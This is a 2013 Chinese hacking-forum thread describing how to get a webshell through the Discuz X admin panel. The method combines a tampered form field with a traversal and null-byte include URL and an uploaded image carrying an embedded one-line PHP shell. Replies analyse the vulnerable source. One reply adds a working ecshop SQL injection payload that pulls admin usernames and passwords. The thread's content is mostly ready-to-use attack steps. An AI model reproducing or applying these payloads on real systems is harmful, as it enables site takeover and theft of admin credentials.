discuz x 最新后台getshell

2013-05-24 10:22:26 45 6199
原帖地址内容:
http://zone.wooyun.org/content/3894

用户 - 用户栏目 - 栏目分组 抓包
Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"
改为
Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"

访问
/home.php?mod=spacecp&id=../../robots.txt%0057

*********************************************************************
有可能是toby57的马甲

*********************************************************************

说下具体怎么利用

原帖测试的是dz x3,我测试的是dz x2.5  无视gpc

*********************************************************************

首先进后台,抓个包

把这里
settingnew[profilegroupnew][base][available]
改成
settingnew[profilegroupnew][plugin][available]
提交

访问
/home.php?mod=spacecp&id=../../robots.txt%0057


这里你要是天真的点保存就错了

其实这里是个包含漏洞(我也没看代码,猜的)

所以先用edjpgcom.exe合成了生成一句话的图片



上传后找到路径


当然改头像也可以

最后爆菊

关于作者

zafe75篇文章1321篇回复

评论45次

要评论?请先  登录  或  注册
  • 25楼
    2013-5-24 18:40

    这个第一次看见,有时间搭个平台试试~

  • 24楼
    2013-5-24 16:16

    犀利…

  • 23楼
    2013-5-24 16:14
  • 22楼
    2013-5-24 15:56

    没懂。。。

  • 21楼
    2013-5-24 14:35

    这个看起来很犀利啊

  • 20楼
    2013-5-24 14:31
  • 19楼
    2013-5-24 13:33

    我就是用的phpnow自带的,phpinfo看了下是5.2.14,gpc开着。然后提示模板未找到。 另外这个和ecshop应该不一样,ecshop那个注射提交subject=0&out_trade_no=%00′,%00'被转义成\0\' ,0又被str_replace成空了,所以最后代入的数据是\\':select * from xxx where id='\\'',有'没闭合,自然报错了。

  • 18楼
    2013-5-24 13:32

    求代码分析 应该和 base plugin 传入有关 应该是个if 用php debug 玩一下 $acs = array('space', 'doing', 'upload', 'comment', 'blog', 'album', 'relatekw', 'common', 'class', 'swfupload', 'poke', 'friend', 'eccredit', 'favorite', 'follow', 'avatar', 'profile', 'theme', 'feed', 'privacy', 'pm', 'share', 'invite','sendmail', 'credit', 'usergroup', 'domain', 'click','magic', 'top', 'videophoto', 'index', 'plugin', 'search', 'promotion');

    $operation = in_array($_GET['op'], array('base', 'contact', 'edu', 'work', 'info', 'password', 'verify')) ? trim($_GET['op']) : $defaultop; $op = empty($_GET['op'])?'':$_GET['op'];
    我想这里就是关键了 'base', 'contact', 'edu', 'work', 'info', 'password', 'verify' 没有plugin 但是 464行调用了include template("home/spacecp_profile"); op的值是在模板里的 其实就是想办法调用模板里调用的plugin 判断 来执行后面的包含 <?php } if($operation == 'plugin') { ?><?php include(template($_GET['id']));?><?php } ?> 而如何取到plugin的值我想就是在admin_setting.php
                    $profilegroup = dunserialize($setting['profilegroup']);                 if($_GET['anchor'] == 'edit' && in_array($_GET['type'], array('base', 'contact', 'edu', 'work', 'info'))) {                         shownav('user', 'nav_members_profile_group');                         $groupinfo = $profilegroup[$_GET['type']];看了上面的数组就知道 不能为plugin
    在下面
     
                            foreach($profilegroup as $key => $group) {                                 showtablerow('', array('class="td25"', '', '', 'class="td25"'), array(//数组 说明下面的可控了 关键是$key 变量                                         "<input class=\"checkbox\" type=\"checkbox\" name=\"settingnew[profilegroupnew][$key][available]\" value=\"1\" ".($profilegroup[$key]['available'] ? 'checked' : '')." />",                                         "<input class=\"checkbox\" type=\"checkbox\" name=\"settingnew[profilegroupnew][$key][available]\" value=\"1\" ".($profilegroup[$key]['available'] ? 'checked' : '')." />",                                         "<input type=\"text\" class=\"txt\" size=\"8\" name=\"settingnew[profilegroupnew][$key][displayorder]\" value=\"{$profilegroup[$key]['displayorder']}\">",                                         "<input type=\"text\" class=\"txt\" size=\"8\" name=\"settingnew[profilegroupnew][$key][title]\" value=\"{$profilegroup[$key]['title']}\">",                                         "<a href=\"".ADMINSCRIPT."?action=setting&operation=profile&anchor=edit&type=$key\">".$lang['edit']."</a>"
            if($operation == 'profile') {                 $temp = array();                 $profilegroup = dunserialize($setting['profilegroup']);                 $enabledgroup = true;                 if(!empty($settingnew['profilegroupnew'])) {                         foreach($settingnew['profilegroupnew'] as $key => $value) {                                 $temp[$key] = $value['displayorder'];                                 $profilegroup[$key]['available'] = !empty($value['available']) ? 1 : 0;                                 __log($temp);

  • 17楼
    2013-5-24 13:18

    这是什么原理呢》?

  • 16楼
    2013-5-24 13:14

    还不错

  • 15楼
    2013-5-24 13:10

    ecshop这个注入不是也%00么 respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) shopex有个后台getshell不是也有%00么

  • 14楼
    2013-5-24 13:07

    PHP Version 5.2.9-2 gpc on off 都没问题 你php什么版本

  • 13楼
    2013-5-24 13:00

    测试结果:gpc=off 可以秒! 为on时还是有问题的,测试了3个gpc开着的不行。 原帖说无视的话,应该是还有其他私藏语句

  • 12楼
    2013-5-24 12:55

    %00 截断怎么可能无视gpc 呢 ?????

  • 11楼
    2013-5-24 12:33

    牛逼的方法~

  • 10楼
    2013-5-24 12:03
  • 9楼
    2013-5-24 12:01

    好高深

  • 8楼
    2013-5-24 11:53

    不错 学xi了

  • 7楼
    2013-5-24 11:31

    厉害学xi了,

  • 6楼
    2013-5-24 11:05

    好牛逼....